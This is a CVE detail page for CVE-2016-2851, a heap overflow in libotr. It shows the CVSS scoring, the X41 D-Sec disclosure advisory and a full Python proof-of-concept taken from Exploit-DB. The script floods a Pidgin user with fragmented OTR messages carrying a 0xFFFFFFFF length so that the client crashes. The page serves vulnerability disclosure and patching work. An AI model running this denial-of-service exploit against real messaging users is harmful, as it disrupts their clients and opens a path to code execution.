CVE-2016-2851 : Detail

CVE-2016-2851

9.8
/
Critical
Overflow
18.77%V4
Network
2016-04-07
21h00 +00:00
2018-10-09
16h57 +00:00
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CVE Descriptions

Integer overflow in proto.c in libotr before 4.1.1 on 64-bit platforms allows remote attackers to cause a denial of service (memory corruption and application crash) or execute arbitrary code via a series of large OTR messages, which triggers a heap-based buffer overflow.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 39550

Publication date : 2016-03-09 23h00 +00:00
Author : X41 D-Sec GmbH
EDB Verified : No

''' X41 D-Sec GmbH Security Advisory: X41-2016-001 Memory Corruption Vulnerability in "libotr" =========================================== Overview -------- Severity Rating: high Confirmed Affected Version: 4.1.0 and below Confirmed Patched Version: libotr 4.1.1 Vendor: OTR Development Team Vendor URL: https://otr.cypherpunks.ca Vendor Reference: OTR Security Advisory 2016-01 Vector: Remote Credit: X41 D-Sec GmbH, Markus Vervier Status: public CVE: CVE-2016-2851 CVSS Score: 8.1 (High) CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Advisory-URL: https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/ Summary and Impact ------------------ A remote attacker may crash or execute arbitrary code in libotr by sending large OTR messages. While processing specially crafted messages, attacker controlled data on the heap is written out of bounds. No special user interaction or authorization is necessary in default configurations. Product Description ------------------- Off-the-Record (OTR) Messaging is a cryptographic protocol used in well-known instant messaging clients such as Pidgin, ChatSecure, Adium and others. It is designed to work on top of existing protocols and used worldwide to provide secure communication in insecure environments. OTR is regarded as highly secure and according to documents revealed by Edward Snowden one of the protocols that the NSA is not able to decrypt via cryptanalysis. The most commonly used implementation of OTR is "libotr" which is a pure C code implementation of the OTR protocol. Analysis -------- During a manual code review X41 D-Sec GmbH discovered a remotely exploitable vulnerability in libotr. By sending large messages, an integer overflow can be triggered which subsequently leads to a heap overflow on 64 bit architectures. When a message of type OTRL_MSGSTATE_DATA is received during an established OTR conversation, this message is passed to function otrl_proto_accept_data in src/message.c line 1347: case OTRL_MSGSTATE_ENCRYPTED: extrakey = gcry_malloc_secure(OTRL_EXTRAKEY_BYTES); err = otrl_proto_accept_data(&plaintext, &tlvs, context, message, &flags, extrakey); After base64 decoding the message and reading various values from it, the length of a payload is read into a variable of type "unsigned int" in file proto.c line 784: read_int(datalen); It is checked that the message buffer will contain at least a "datalen" number of bytes using read_int in proto.c line 785: require_len(datalen); The macros "read_int" and "required_len" are defined in src/serial.h: #define require_len(l) do { \ if (lenp < (l)) goto invval; \ } while(0) #define read_int(x) do { \ require_len(4); \ (x) = (((unsigned int)bufp[0]) << 24) | (bufp[1] << 16) | (bufp[2] << 8) | bufp[3]; \ bufp += 4; lenp -= 4; \ } while(0) 4 bytes are read from the message buffer and interpreted as unsigned int value. Subsequently a buffer of size datalen+1 is allocated using malloc in proto.c line 786: data = malloc(datalen+1); if (!data) { err = gcry_error(GPG_ERR_ENOMEM); goto err; } Now data from the message is copied into this buffer using memmove in line 791: memmove(data, bufp, datalen); The vulnerability is triggered if a value of 0xFFFFFFFF (MAX_UINT) is read from the message buffer. As datalen is of size 32-bit (unsigned int) the operation "datalen+1" will wrap around before being passed to malloc. This will effectively result in a zero allocation ( malloc(0) ) which is valid in common implementations of malloc on the x86_64 architecture. As no addition is done in the value passed to the call to memmove, 4 gigabytes of data are copied out of bounds to the heap location pointed to by data. Proof of Concept ---------------- In order to successfully trigger the vulnerability, an attacker must be able to send a data message of more than 5.5 gigabytes to a victim in order to pass the check "require_len(datalen)". Due to the support of fragmented OTR messages assembled by libotr this is possible in practice. By sending 275 messages of size 20MB each, X41 was able to make libotr process such a data message successfully on a system with 8GB of ram and 15GB of swap space. As data types for lenp and other lengths of the message are 64 bit large size_t types on x86_64 architectures huge messages of multiple gigabytes are possible. Sending such a message to a pidgin client took only a few minutes on a fast network connection without visible signs of any attack to a user. A proof of concept triggering a heap overwrite and crash in the pidgin-otr plugin for the popular pidgin messenger on x86_64 Linux architectures is available[1]. The crash occurs due to the overwrite hitting unmapped memory. Using techniques such as heap grooming, X41 was able to inflate the heap to more than 4GB and overwrite function pointers and arguments on the heap in order to take over control flow. A working exploit will not be published at this time. Interaction by users beyond having enabled OTR is not necessary as OTR sessions are automatically established with anyone by default in Pidgin and other common software using libotr. This also applies to unauthorized contacts in most default configurations. Workarounds ----------- As a temporary workaround on Linux and BSD systems, the amount of memory available to the process running libotr may be limited to less than 4GB via ulimit. About X41 D-Sec GmbH -------------------- X41 D-Sec is a provider of application security services. We focus on application code reviews, design review and security testing. X41 D-Sec GmbH was founded in 2015 by Markus Vervier. We support customers in various industries such as finance, software development and public institutions. Timeline -------- 2016-02-17 Discovery during a manual code review of "libotr" version 4.1.0 2016-02-17 Initial PoC 2016-02-18 Vendor contacted 2016-02-18 Vulnerability confirmed by vendor 2016-03-03 Vendor patch available 2016-03-04 CVE requested 2016-03-06 CVE-2016-2851 assigned 2016-03-09 Embargo lifted and disclosure References ---------- [1] https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/otr-heap-overwrite-poc.py ''' #!/usr/bin/python -u # ### PoC libotr heap overwrite on Pidgin ### 2016-02-17 Markus Vervier ### X41 D-Sec GmbH ### initial code taken from pyxmpp examples (echobot.py) ### PoC was tested using a standard Prosody XMPP-Server on Arch-Linux allowing 20MB sized messages by default (and even larger) ### On a loopback interface the exploit took several minutes, ### using XMPP stream compression this could be reduced massively ### pyxmpp does not support it ### We used XMPP connections without TLS to not further complicate the setup ### USAGE ### ### Prerequisite: 2 Jabber Accounts (attacker, victim), set Ressource of attacker to "attacktest" ### 1. Initiate an encrypted session from attacker-account to victim-account (e.g. using pidgin) ### 2. Disconnect the attacker account ### 3. Fire up this script and let it connect with the attacker account credentials ### 4. Send a message from victim to attacker ### 5. Wait until message sending is complete, pidgin should crash ### !!! Steps 2-5 (and especially user interaction) are only necessary for this PoC ### !!! If we would implement full OTR in this script we could send the bad message directly ### !!! For easier PoC we now wait until an encrypted message is received to get the correct instance tags import sys import logging import locale import codecs import os, signal import time import base64 def ignore_signal_pipe(signum, frame): print 'signal pipe caught -- IGNORING' signal.signal(signal.SIGPIPE, ignore_signal_pipe) from struct import * from pyxmpp.all import JID,Iq,Presence,Message,StreamError from pyxmpp.jabber.client import JabberClient from pyxmpp.interface import implements from pyxmpp.interfaces import * from pyxmpp.streamtls import TLSSettings from enum import Enum class EchoHandler(object): """Provides the actual 'echo' functionality. Handlers for presence and message stanzas are implemented here. """ implements(IMessageHandlersProvider, IPresenceHandlersProvider) def __init__(self, client): """Just remember who created this.""" self.client = client def get_message_handlers(self): """Return list of (message_type, message_handler) tuples. The handlers returned will be called when matching message is received in a client session.""" return [ ("normal", self.message), ] def get_presence_handlers(self): """Return list of (presence_type, presence_handler) tuples. The handlers returned will be called when matching presence stanza is received in a client session.""" return [ (None, self.presence), ("unavailable", self.presence), ("subscribe", self.presence_control), ("subscribed", self.presence_control), ("unsubscribe", self.presence_control), ("unsubscribed", self.presence_control), ] def message(self,stanza): """Message handler for the component. Echoes the message back if its type is not 'error' or 'headline', also sets own presence status to the message body. Please note that all message types but 'error' will be passed to the handler for 'normal' message unless some dedicated handler process them. :returns: `True` to indicate, that the stanza should not be processed any further.""" subject=stanza.get_subject() body=stanza.get_body() t=stanza.get_type() m = 0 print u'Message from %s received.' % (unicode(stanza.get_from(),)), if subject: print u'Subject: "%s".' % (subject,), if body: print u'Body: "%s".' % (body,), if t: print u'Type: "%s".' % (t,) else: print u'Type: "normal".' if stanza.get_type()=="headline": # 'headline' messages should never be replied to return True # record instance tag if body[:9] == u'?OTR:AAMD': (self.instance_tag, self.our_tag) = self.parse_aamc(body[len("?OTR:AAMD"):]) print "parsed instance tag: %s and our tag %s" % (self.instance_tag.encode("hex"), self.our_tag.encode("hex") ) self.send_insane_otr(stanza, 1024*1024*20, self.instance_tag, self.our_tag) return m def b64maxlen(self, chars): return 1 + (4 * chars / 3) def parse_aamc(self, msg): maxlen = self.b64maxlen(8) # 4 byte integer print "maxlen %u" % (maxlen) tmp = msg[0:maxlen] padding = "" if maxlen % 4 > 1: padding = "="*(4-(maxlen % 4)) tmp += padding print "decoding: "+tmp packed = base64.b64decode(tmp) # return unpack("I", packed[0:4]) return (packed[0:4], packed[4:8]) # their tag, our tag def initial_body(self, instance_tag, our_tag): ret = "?OTR:AAMD"; raw = b'' print "packing initial block with instance tag: %s and our tag: %s" % (instance_tag.encode("hex"), our_tag.encode("hex")) #dirty hack raw += our_tag # sender_nstance_id raw += instance_tag # receiver_id raw += "D" # dummy flags raw += pack("I", 0x1) # sender key id raw += pack("I", 0x2) # recipient key id raw += pack("!I", 10) # len next_y raw += "B"*10 # next_y # we don't know how mpi works but it seems ok ;) raw += "12345678" # reveal sig dummy # yeah overflow! raw += pack("I", 0xFFFFFFFF); # datalen ret += base64.b64encode(raw+"A"*(57-len(raw))) return ret def send_insane_otr(self, stanza, frag_size, instance_tag, our_tag): print "G-FUNK!" # this should result in about 0xFFFFFFFF times "A" base64 encoded len_msg = 5726623060 # fix frag size for base64 frag_size = (frag_size / 4) * 4 frag_msg = "QUFB"*(frag_size / 4) n = len_msg / frag_size # does not evenly divide? if len_msg % frag_size > 0: n += 1 k = 1 n += 1 # initialbody adds another frame initialbody = "?OTR,%hu,%hu,%s," % (k , n , self.initial_body(instance_tag, our_tag)) print "first fragment: "+initialbody m = Message( to_jid=stanza.get_from(), from_jid=stanza.get_to(), stanza_type=stanza.get_type(), subject="foo", body=initialbody) self.client.stream.send(m) k += 1 print "frag size: %s, len_msg: %u, num_frags: %u" % (frag_size, len_msg, n) cur_pos = 0 while(cur_pos < len_msg): body = "?OTR,%hu,%hu,%s," % (k , n , frag_msg) m = Message( to_jid=stanza.get_from(), from_jid=stanza.get_to(), stanza_type=stanza.get_type(), subject="foo", body=body) print "cur_pos %u of %u" % (cur_pos, len_msg) self.client.stream.send(m) k += 1 cur_pos = frag_size * (k-2) time.sleep(0.9) print "FINAL FRAG: cur_pos %u of %u" % (cur_pos, len_msg) def presence(self,stanza): """Handle 'available' (without 'type') and 'unavailable' <presence/>.""" msg=u"%s has become " % (stanza.get_from()) t=stanza.get_type() if t=="unavailable": msg+=u"unavailable" else: msg+=u"available" show=stanza.get_show() if show: msg+=u"(%s)" % (show,) status=stanza.get_status() if status: msg+=u": "+status print msg def presence_control(self,stanza): """Handle subscription control <presence/> stanzas -- acknowledge them.""" msg=unicode(stanza.get_from()) t=stanza.get_type() if t=="subscribe": msg+=u" has requested presence subscription." elif t=="subscribed": msg+=u" has accepted our presence subscription request." elif t=="unsubscribe": msg+=u" has canceled his subscription of our." elif t=="unsubscribed": msg+=u" has canceled our subscription of his presence." print msg return stanza.make_accept_response() class VersionHandler(object): """Provides handler for a version query. This class will answer version query and announce 'jabber:iq:version' namespace in the client's disco#info results.""" implements(IIqHandlersProvider, IFeaturesProvider) def __init__(self, client): """Just remember who created this.""" self.client = client def get_features(self): """Return namespace which should the client include in its reply to a disco#info query.""" return ["jabber:iq:version"] def get_iq_get_handlers(self): """Return list of tuples (element_name, namespace, handler) describing handlers of <iq type='get'/> stanzas""" return [ ("query", "jabber:iq:version", self.get_version), ] def get_iq_set_handlers(self): """Return empty list, as this class provides no <iq type='set'/> stanza handler.""" return [] def get_version(self,iq): """Handler for jabber:iq:version queries. jabber:iq:version queries are not supported directly by PyXMPP, so the XML node is accessed directly through the libxml2 API. This should be used very carefully!""" iq=iq.make_result_response() q=iq.new_query("jabber:iq:version") q.newTextChild(q.ns(),"name","Echo component") q.newTextChild(q.ns(),"version","1.0") return iq class Client(JabberClient): """Simple bot (client) example. Uses `pyxmpp.jabber.client.JabberClient` class as base. That class provides basic stream setup (including authentication) and Service Discovery server. It also does server address and port discovery based on the JID provided.""" def __init__(self, jid, password, tls_cacerts): # if bare JID is provided add a resource -- it is required if not jid.resource: jid=JID(jid.node, jid.domain, "attacktest") if tls_cacerts: if tls_cacerts == 'tls_noverify': tls_settings = TLSSettings(require = True, verify_peer = False) else: tls_settings = TLSSettings(require = True, cacert_file = tls_cacerts) else: tls_settings = None # setup client with provided connection information # and identity data JabberClient.__init__(self, jid, password, disco_name="PyXMPP example: echo bot", disco_type="bot", tls_settings = tls_settings) # add the separate components self.interface_providers = [ VersionHandler(self), EchoHandler(self), ] def stream_state_changed(self,state,arg): """This one is called when the state of stream connecting the component to a server changes. This will usually be used to let the user know what is going on.""" print "*** State changed: %s %r ***" % (state,arg) def print_roster_item(self,item): if item.name: name=item.name else: name=u"" print (u'%s "%s" subscription=%s groups=%s' % (unicode(item.jid), name, item.subscription, u",".join(item.groups)) ) def roster_updated(self,item=None): if not item: print u"My roster:" for item in self.roster.get_items(): self.print_roster_item(item) return print u"Roster item updated:" self.print_roster_item(item) # XMPP protocol is Unicode-based to properly display data received # _must_ convert it to local encoding or UnicodeException may be raised locale.setlocale(locale.LC_CTYPE, "") encoding = locale.getlocale()[1] if not encoding: encoding = "us-ascii" sys.stdout = codecs.getwriter(encoding)(sys.stdout, errors = "replace") sys.stderr = codecs.getwriter(encoding)(sys.stderr, errors = "replace") # PyXMPP uses `logging` module for its debug output # applications should set it up as needed logger = logging.getLogger() logger.addHandler(logging.StreamHandler()) logger.setLevel(logging.INFO) # change to DEBUG for higher verbosity if len(sys.argv) < 3: print u"Usage:" print "\t%s JID password ['tls_noverify'|cacert_file]" % (sys.argv[0],) print "example:" print "\t%s test@localhost verysecret" % (sys.argv[0],) sys.exit(1) print u"creating client..." c=Client(JID(sys.argv[1]), sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else None) print u"connecting..." c.connect() print u"looping..." try: # Component class provides basic "main loop" for the applitation # Though, most applications would need to have their own loop and call # component.stream.loop_iter() from it whenever an event on # component.stream.fileno() occurs. c.loop(1) except IOError, e: if e.errno == errno.EPIPE: # IGNORE EPIPE error print "PIPE ERROR -- IGNORING" else: pass except KeyboardInterrupt: print u"disconnecting..." c.disconnect() print u"exiting..." # vi: sts=4 et sw=4

Products Mentioned

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Debian>>Debian_linux >> Version 8.0

Configuraton 0

Opensuse>>Leap >> Version 42.1

Opensuse>>Opensuse >> Version 13.2

Configuraton 0

Cypherpunks>>Libotr >> Version To (including) 4.1.0

References

http://www.ubuntu.com/usn/USN-2926-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.debian.org/security/2016/dsa-3512
Tags : vendor-advisory, x_refsource_DEBIAN
https://security.gentoo.org/glsa/201701-10
Tags : vendor-advisory, x_refsource_GENTOO
https://www.exploit-db.com/exploits/39550/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/84285
Tags : vdb-entry, x_refsource_BID
http://seclists.org/fulldisclosure/2016/Mar/21
Tags : mailing-list, x_refsource_FULLDISC